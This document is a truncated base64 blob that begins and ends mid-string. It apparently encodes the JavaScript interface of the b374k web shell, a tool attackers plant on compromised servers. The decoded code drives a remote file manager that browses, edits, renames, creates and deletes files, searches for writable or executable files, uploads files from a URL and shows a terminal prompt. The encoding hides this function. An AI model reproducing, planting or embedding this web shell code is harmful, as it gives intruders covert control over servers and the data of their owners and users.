wYXRoKyInPjx0ZD48c3BhbiBjbGFzcz0nZmluZCBidXR0b24nPmZpbmQ8L3NwYW4+PHNwYW4gY2xhc3M9J3VsIGJ1dHRvbic+dXBsb2FkPC9zcGFuPjxzcGFuIGNsYXNzPSdyZW4gYnV0dG9uJz5yZW5hbWU8L3NwYW4+PHNwYW4gY2xhc3M9J2RlbCBidXR0b24nPmRlbGV0ZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJaWYodHlwZT09J2RvdCcpIGNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQ+PGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciK3BhdGgrIicgZGlzYWJsZWQ+PC90ZD48L3RyPjx0ciBkYXRhLXBhdGg9JyIrcGF0aCsiJz48dGQ+PHNwYW4gY2xhc3M9J2ZpbmQgYnV0dG9uJz5maW5kPC9zcGFuPjxzcGFuIGNsYXNzPSd1bCBidXR0b24nPnVwbG9hZDwvc3Bhbj48c3BhbiBjbGFzcz0ncmVuIGJ1dHRvbic+cmVuYW1lPC9zcGFuPjxzcGFuIGNsYXNzPSdkZWwgYnV0dG9uJz5kZWxldGU8L3NwYW4+PHNwYW4gY2xhc3M9J25ld2ZpbGUgYnV0dG9uJz5uZXcgZmlsZTwvc3Bhbj48c3BhbiBjbGFzcz0nbmV3Zm9sZGVyIGJ1dHRvbic+bmV3IGZvbGRlcjwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwoJeHBsX2JpbmQoKTsKfQoKZnVuY3Rpb24gbmF2aWdhdGUocGF0aCwgc2hvd2ZpbGVzKXsKCWlmKHNob3dmaWxlcz09bnVsbCkgc2hvd2ZpbGVzID0gJ3RydWUnOwoJc2VuZF9wb3N0KHsgY2Q6cGF0aCwgc2hvd2ZpbGVzOnNob3dmaWxlcyB9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCXNwbGl0cyA9IHJlcy5zcGxpdCgne1t8YjM3NGt8XX0nKTsKCQkJaWYoc3BsaXRzLmxlbmd0aD09Myl7CgkJCQkkKCcjbmF2JykuaHRtbChzcGxpdHNbMV0pOwoJCQkJaWYoc2hvd2ZpbGVzPT0ndHJ1ZScpewoJCQkJCSQoJyNleHBsb3JlcicpLmh0bWwoJycpOwoJCQkJCSQoJyNleHBsb3JlcicpLmh0bWwoc3BsaXRzWzJdKTsKCQkJCQlzb3J0dGFibGUuaygkKCcjeHBsVGFibGUnKS5nZXQoMCkpOwoJCQkJfQoJCQkJJCgnI3Rlcm1pbmFsQ3dkJykuaHRtbChodG1sX3NhZmUoZ2V0X2N3ZCgpKSsnJmd0OycpOwoJCQkJeHBsX2JpbmQoKTsKCQkJCXdpbmRvd19yZXNpemUoKTsKCQkJfQoJCX0KCX0pOwp9CgpmdW5jdGlvbiB2aWV3KHBhdGgsIHR5cGUsIHByZXNlcnZlVGltZXN0YW1wKXsKCWlmKHByZXNlcnZlVGltZXN0YW1wPT1udWxsKSBwcmVzZXJ2ZVRpbWVzdGFtcCA9ICd0cnVlJzsKCXNlbmRfcG9zdCh7IHZpZXdGaWxlOiBwYXRoLCB2aWV3VHlwZTogdHlwZSwgcHJlc2VydmVUaW1lc3RhbXA6cHJlc2VydmVUaW1lc3RhbXAgfSwgZnVuY3Rpb24ocmVzKXsKCQlpZihyZXMhPSdlcnJvcicpewoJCQkkKCcjZXhwbG9yZXInKS5odG1sKCcnKTsKCQkJJCgnI2V4cGxvcmVyJykuaHRtbChyZXMpOwoJCQl4cGxfYmluZCgpOwoJCQlzaG93X3RhYignZXhwbG9yZXInKTsKCQkJaWYoKHR5cGU9PSdlZGl0Jyl8fCh0eXBlPT0naGV4JykpewoJCQkJZWRpdFJlc3VsdCA9ICh0eXBlPT0nZWRpdCcpPyAkKCcjZWRpdFJlc3VsdCcpOiQoJyNlZGl0SGV4UmVzdWx0Jyk7CgkJCQlpZihlZGl0U3VjY2Vzcz09J3N1Y2Nlc3MnKXsKCQkJCQllZGl0UmVzdWx0Lmh0bWwoJyAoIEZpbGUgc2F2ZWQgKScpOwoJCQkJfQoJCQkJZWxzZSBpZihlZGl0U3VjY2Vzcz09J2Vycm9yJyl7CgkJCQkJZWRpdFJlc3VsdC5odG1sKCcgKCBGYWlsZWQgdG8gc2F2ZSBmaWxlICknKTsKCQkJCX0KCQkJCWVkaXRTdWNjZXNzID0gJyc7CgkJCX0KCQkJY2JveF9iaW5kKCdlZGl0VGJsJyk7CgkJfQoJfSk7Cn0KCmZ1bmN0aW9uIHZpZXdfZW50cnkoZWwpewoJaWYoJChlbCkuYXR0cignZGF0YS1wYXRoJykhPScnKXsKCQllbnRyeSA9ICQoZWwpLmF0dHIoJ2RhdGEtcGF0aCcpOwoJCSQoJyNmb3JtJykuYXBwZW5kKCI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd2aWV3RW50cnknIHZhbHVlPSciK2VudHJ5KyInPiIpOwoJCSQoJyNmb3JtJykuc3VibWl0KCk7CgkJJCgnI2Zvcm0nKS5odG1sKCcnKTsKCX0KfQoKZnVuY3Rpb24gcmVuKHBhdGgpewoJdGl0bGUgPSAiUmVuYW1lIjsKCWNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+UmVuYW1lIHRvPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdyZW5hbWVGaWxlVG8nIHZhbHVlPSciICtwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdyZW5fZ28nKTtcIj48aW5wdXQgdHlwZT0naGlkZGVuJyBjbGFzcz0ncmVuYW1lRmlsZScgdmFsdWU9JyIrcGF0aCsiJz48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSdyZW5fZ28oKTsnPnJlbmFtZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CgpmdW5jdGlvbiByZW5fZ28oKXsKCXJlbmFtZUZpbGUgPSAkKCcucmVuYW1lRmlsZScpLnZhbCgpOwoJcmVuYW1lRmlsZVRvID0gJCgnLnJlbmFtZUZpbGVUbycpLnZhbCgpOwoJc2VuZF9wb3N0KHtyZW5hbWVGaWxlOnJlbmFtZUZpbGUsIHJlbmFtZUZpbGVUbzpyZW5hbWVGaWxlVG99LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCW5hdmlnYXRlKHJlcyk7CgkJCSQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgc3VjY2VlZGVkJyk7CgkJCSQoJy5yZW5hbWVGaWxlJykudmFsKCQoJy5yZW5hbWVGaWxlVG8nKS52YWwoKSk7CgkJfQoJCWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKTsKCX0pOwp9CgpmdW5jdGlvbiBuZXdmb2xkZXIocGF0aCl7Cgl0aXRsZSA9ICJOZXcgRm9sZGVyIjsKCXBhdGggPSBwYXRoICsgJ25ld2ZvbGRlci0nICsgdGltZSgpOwoJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz5Gb2xkZXIgTmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nbmV3Rm9sZGVyJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICduZXdmb2xkZXJfZ28nKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSduZXdmb2xkZXJfZ28oKTsnPmNyZWF0ZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CgpmdW5jdGlvbiBuZXdmb2xkZXJfZ28oKXsKCW5ld0ZvbGRlciA9ICQoJy5uZXdGb2xkZXInKS52YWwoKTsKCXNlbmRfcG9zdCh7bmV3Rm9sZGVyOm5ld0ZvbGRlcn0sIGZ1bmN0aW9uKHJlcyl7CgkJaWYocmVzIT0nZXJyb3InKXsKCQkJbmF2aWdhdGUocmVzKTsKCQkJJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBzdWNjZWVkZWQnKTsKCQl9CgkJZWxzZSAkKCcuYm94cmVzdWx0JykuaHRtbCgnT3BlcmF0aW9uKHMpIGZhaWxlZCcpOwoJfSk7Cn0KCmZ1bmN0aW9uIG5ld2ZpbGUocGF0aCl7Cgl0aXRsZSA9ICJOZXcgRmlsZSI7CglwYXRoID0gcGF0aCArICduZXdmaWxlLScgKyB0aW1lKCk7Cgljb250ZW50ID0gIjx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkZpbGUgTmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nbmV3RmlsZScgdmFsdWU9JyIrcGF0aCsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbmV3ZmlsZV9nbycpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J25ld2ZpbGVfZ28oKTsnPmNyZWF0ZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CgpmdW5jdGlvbiBuZXdmaWxlX2dvKCl7CgluZXdGaWxlID0gJCgnLm5ld0ZpbGUnKS52YWwoKTsKCXNlbmRfcG9zdCh7bmV3RmlsZTpuZXdGaWxlfSwgZnVuY3Rpb24ocmVzKXsKCQlpZihyZXMhPSdlcnJvcicpewoJCQl2aWV3KG5ld0ZpbGUsICdlZGl0Jyk7CgkJCSQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgc3VjY2VlZGVkJyk7CgkJfQoJCWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKTsKCX0pOwp9CgpmdW5jdGlvbiB2aWV3ZmlsZW9yZm9sZGVyKCl7Cgl0aXRsZSA9ICJWaWV3IEZpbGUgLyBGb2xkZXIiOwoJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J3ZpZXdGaWxlb3JGb2xkZXInIHZhbHVlPSciK2h0bWxfc2FmZShnZXRfY3dkKCkpKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd2aWV3ZmlsZW9yZm9sZGVyX2dvJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0ndmlld2ZpbGVvcmZvbGRlcl9nbygpOyc+dmlldzwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CgpmdW5jdGlvbiB2aWV3ZmlsZW9yZm9sZGVyX2dvKCl7CgllbnRyeSA9ICQoJy52aWV3RmlsZW9yRm9sZGVyJykudmFsKCk7CglzZW5kX3Bvc3Qoe3ZpZXdGaWxlb3JGb2xkZXI6ZW50cnl9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCWlmKHJlcz09J2ZpbGUnKXsKCQkJCXZpZXcoZW50cnksICdhdXRvJyk7CgkJCQlzaG93X3RhYignZXhwbG9yZXInKTsKCQkJfQoJCQllbHNlIGlmKHJlcz09J2ZvbGRlcicpewoJCQkJbmF2aWdhdGUoZW50cnkpOwoJCQkJc2hvd190YWIoJ2V4cGxvcmVyJyk7CgkJCX0KCQl9Cgl9KTsKfQoKZnVuY3Rpb24gZGVsKHBhdGgpewoJdGl0bGUgPSAiRGVsZXRlIjsKCWNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+RGVsZXRlPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdkZWxldGUnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2RlbGV0ZV9nbycpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J2RlbGV0ZV9nbygpOyc+ZGVsZXRlPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CglzaG93X2JveCh0aXRsZSwgY29udGVudCk7Cn0KCmZ1bmN0aW9uIGRlbGV0ZV9nbygpewoJcGF0aCA9ICQoJy5kZWxldGUnKS52YWwoKTsKCXNlbmRfcG9zdCh7ZGVsZXRlOnBhdGh9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCW5hdmlnYXRlKHJlcyk7CgkJCSQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgc3VjY2VlZGVkJyk7CgkJfQoJCWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKTsKCX0pOwp9CgpmdW5jdGlvbiBmaW5kKHBhdGgpewoJZmluZGZpbGUgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0aGVhZD48dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+RmluZCBGaWxlPC9wPjwvdGg+PC90cj48L3RoZWFkPjx0Ym9keT48dHI+PHRkIHN0eWxlPSd3aWR0aDoxNDRweCc+U2VhcmNoIGluPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmaW5kZmlsZVBhdGgnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZmlsZScpO1wiPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSdib3JkZXItYm90dG9tOm5vbmU7Jz5GaWxlbmFtZSBjb250YWluczwvdGQ+PHRkIHN0eWxlPSdib3JkZXItYm90dG9tOm5vbmU7Jz48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2ZpbmRmaWxlRmlsZW5hbWUnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdmaW5kX2dvX2ZpbGUnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZUZpbGVuYW1lUmVnZXgnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5SZWdleDwvc3Bhbj4mbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZUZpbGVuYW1lSW5zZW5zaXRpdmUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5DYXNlIEluc2Vuc2l0aXZlPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSdib3JkZXItYm90dG9tOm5vbmU7Jz5GaWxlIGNvbnRhaW5zPC90ZD48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZmluZGZpbGVDb250YWlucycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZmlsZScpO1wiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlQ29udGFpbnNSZWdleCc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPlJlZ2V4PC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlQ29udGFpbnNJbnNlbnNpdGl2ZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPkNhc2UgSW5zZW5zaXRpdmU8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQ+UGVybWlzc2lvbnM8L3RkPjx0ZD48c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZVJlYWRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+UmVhZGFibGU8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVXcml0YWJsZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPldyaXRhYmxlPC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlRXhlY3V0YWJsZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPkV4ZWN1dGFibGU8L3NwYW4+PC90ZD48L3RyPjwvdGJvZHk+PHRmb290Pjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbiBuYXZiYXInIGRhdGEtcGF0aD0nIitwYXRoKyInPmV4cGxvcmVyPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJmaW5kX2dvX2ZpbGUoKTtcIj5maW5kPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInIGNsYXNzPSdmaW5kZmlsZVJlc3VsdCc+PC90ZD48L3RyPjwvdGZvb3Q+PC90YWJsZT4iOwoJZmluZGZvbGRlciA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRoZWFkPjx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5GaW5kIEZvbGRlcjwvcD48L3RoPjwvdHI+PC90aGVhZD48dGJvZHk+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnPlNlYXJjaCBpbjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZmluZEZvbGRlclBhdGgnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZm9sZGVyJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPkZvbGRlcm5hbWUgY29udGFpbnM8L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLWJvdHRvbTpub25lOyc+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmaW5kRm9sZGVybmFtZScgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZm9sZGVyJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PHNwYW4gY2xhc3M9J2NCb3ggZmluZEZvbGRlcm5hbWVSZWdleCc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPlJlZ2V4PC9zcGFuPiZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRGb2xkZXJuYW1lSW5zZW5zaXRpdmUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5DYXNlIEluc2Vuc2l0aXZlPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkPlBlcm1pc3Npb25zPC90ZD48dGQ+PHNwYW4gY2xhc3M9J2NCb3ggZmluZFJlYWRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+UmVhZGFibGU8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZFdyaXRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+V3JpdGFibGU8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZEV4ZWN1dGFibGUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5FeGVjdXRhYmxlPC9zcGFuPjwvdGQ+PC90cj48L3Rib2R5Pjx0Zm9vdD48dHI+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24gbmF2YmFyJyBkYXRhLXBhdGg9JyIrcGF0aCsiJz5leHBsb3Jlcjwvc3Bhbj48L3RkPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZmluZF9nb19mb2xkZXIoKTtcIj5maW5kPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInIGNsYXNzPSdmaW5kUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7CgkkKCcjZXhwbG9yZXInKS5odG1sKCI8ZGl2IGlkPSd4cGxVcGxvYWQnPiIgK2ZpbmRmaWxlKyc8YnI+JytmaW5kZm9sZGVyKyc8L2Rpdj4nKTsKCWNib3hfYmluZCgneHBsVXBsb2FkJyk7Cn0KCmZ1bmN0aW9uIGZpbmRfZ29fZmlsZSgpewoJZmluZF9nbygnZmlsZScpOwp9CgpmdW5jdGlvbiBmaW5kX2dvX2ZvbGRlcigpewoJZmluZF9nbygnZm9sZGVyJyk7Cn0KCmZ1bmN0aW9uIGZpbmRfZ28oZmluZFR5cGUpewoJZmluZFBhdGggPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZVBhdGgnKS52YWwoKTokKCcuZmluZEZvbGRlclBhdGgnKS52YWwoKTsKCWZpbmRSZXN1bHQgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZVJlc3VsdCcpOiQoJy5maW5kUmVzdWx0Jyk7CgoJZmluZE5hbWUgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZUZpbGVuYW1lJykudmFsKCk6JCgnLmZpbmRGb2xkZXJuYW1lJykudmFsKCk7CglmaW5kTmFtZVJlZ2V4ID0gKGZpbmRUeXBlPT0nZmlsZScpPyAkKCcuZmluZGZpbGVGaWxlbmFtZVJlZ2V4JykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk6JCgnLmZpbmRGb2xkZXJuYW1lUmVnZXgnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTsKCWZpbmROYW1lSW5zZW5zaXRpdmUgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZUZpbGVuYW1lSW5zZW5zaXRpdmUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZEZvbGRlcm5hbWVJbnNlbnNpdGl2ZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOwoKCWZpbmRDb250ZW50ID0gKGZpbmRUeXBlPT0nZmlsZScpPyAkKCcuZmluZGZpbGVDb250YWlucycpLnZhbCgpOiIiOwoJZmluZENvbnRlbnRSZWdleCA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlQ29udGFpbnNSZWdleCcpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiIiOwoJZmluZENvbnRlbnRJbnNlbnNpdGl2ZSA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlQ29udGFpbnNJbnNlbnNpdGl2ZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiIiOwoKCWZpbmRSZWFkYWJsZSA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlUmVhZGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZFdyaXRhYmxlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk7CglmaW5kV3JpdGFibGUgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZVdyaXRhYmxlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk6JCgnLmZpbmRSZWFkYWJsZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOwoJZmluZEV4ZWN1dGFibGUgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZUV4ZWN1dGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZEV4ZWN1dGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTsKCglzZW5kX3Bvc3QoCgkJewoJCQlmaW5kVHlwZTpmaW5kVHlwZSwKCQkJZmluZFBhdGg6ZmluZFBhdGgsCgkJCWZpbmROYW1lOmZpbmROYW1lLAoJCQlmaW5kTmFtZVJlZ2V4OmZpbmROYW1lUmVnZXgsCgkJCWZpbmROYW1lSW5zZW5zaXRpdmU6ZmluZE5hbWVJbnNlbnNpdGl2ZSwKCQkJZmluZENvbnRlbnQ6ZmluZENvbnRlbnQsCgkJCWZpbmRDb250ZW50UmVnZXg6ZmluZENvbnRlbnRSZWdleCwKCQkJZmluZENvbnRlbnRJbnNlbnNpdGl2ZTpmaW5kQ29udGVudEluc2Vuc2l0aXZlLAoJCQlmaW5kUmVhZGFibGU6ZmluZFJlYWRhYmxlLAoJCQlmaW5kV3JpdGFibGU6ZmluZFdyaXRhYmxlLAoJCQlmaW5kRXhlY3V0YWJsZTpmaW5kRXhlY3V0YWJsZQoJCX0sCgkJZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzIT0nZXJyb3InKXsKCQkJCWZpbmRSZXN1bHQuaHRtbChyZXMpOwoJCQl9CgkJfQoJKTsKfQoKZnVuY3Rpb24gdWxfZ29fY29tcCgpewoJdWxfZ28oJ2NvbXAnKTsKfQoKZnVuY3Rpb24gdWxfZ29fdXJsKCl7Cgl1bF9nbygndXJsJyk7Cn0KCmZ1bmN0aW9uIHVsKHBhdGgpewoJdWxjb21wdXRlciA9ICI8dGFibGUgY2xhc3M9J2JveHRibCB1bGNvbXAnPjx0aGVhZD48dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+VXBsb2FkIEZyb20gQ29tcHV0ZXIgPGEgb25jbGljaz0ndWxfYWRkX2NvbXAoKTsnPigrKTwvYT48L3A+PC90aD48L3RyPjwvdGhlYWQ+PHRib2R5IGNsYXNzPSd1bGNvbXBhZGQnPjwvdGJvZHk+PHRmb290Pjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbiBuYXZiYXInIGRhdGEtcGF0aD0nIitwYXRoKyInPmV4cGxvcmVyPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJ1bF9nb19jb21wKCk7XCI+dXBsb2FkPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInIGNsYXNzPSd1bENvbXBSZXN1bHQnPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxkaXYgaWQ9J3VsRHJhZ05Ecm9wJz5PciBEcmFnIGFuZCBEcm9wIGZpbGVzIGhlcmU8L2Rpdj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJyBjbGFzcz0ndWxEcmFnTkRyb3BSZXN1bHQnPjwvdGQ+PC90cj48L3Rmb290PjwvdGFibGU+IjsKCXVsdXJsID0gIjx0YWJsZSBjbGFzcz0nYm94dGJsIHVsdXJsJz48dGhlYWQ+PHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPlVwbG9hZCBGcm9tIFVybCA8YSBvbmNsaWNrPSd1bF9hZGRfdXJsKCk7Jz4oKyk8L2E+PC9wPjwvdGg+PC90cj48L3RoZWFkPjx0Ym9keSBjbGFzcz0ndWx1cmxhZGQnPjwvdGJvZHk+PHRmb290Pjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbiBuYXZiYXInIGRhdGEtcGF0aD0nIitwYXRoKyInPmV4cGxvcmVyPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJ1bF9nb191cmwoKTtcIj51cGxvYWQ8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMicgY2xhc3M9J3VsVXJsUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7Cgljb250ZW50ID0gdWxjb21wdXRlciArICc8YnI+JyArIHVsdXJsICsgIjxpbnB1dCB0eXBlPSdoaWRkZW4nIGNsYXNzPSd1bF9wYXRoJyB2YWx1ZT0nIitwYXRoKyInPiI7CgkkKCcjZXhwbG9yZXInKS5odG1sKGNvbnRlbnQpOwoJdWxfYWRkX2NvbXAoKTsKCXVsX2FkZF91cmwoKTsKCg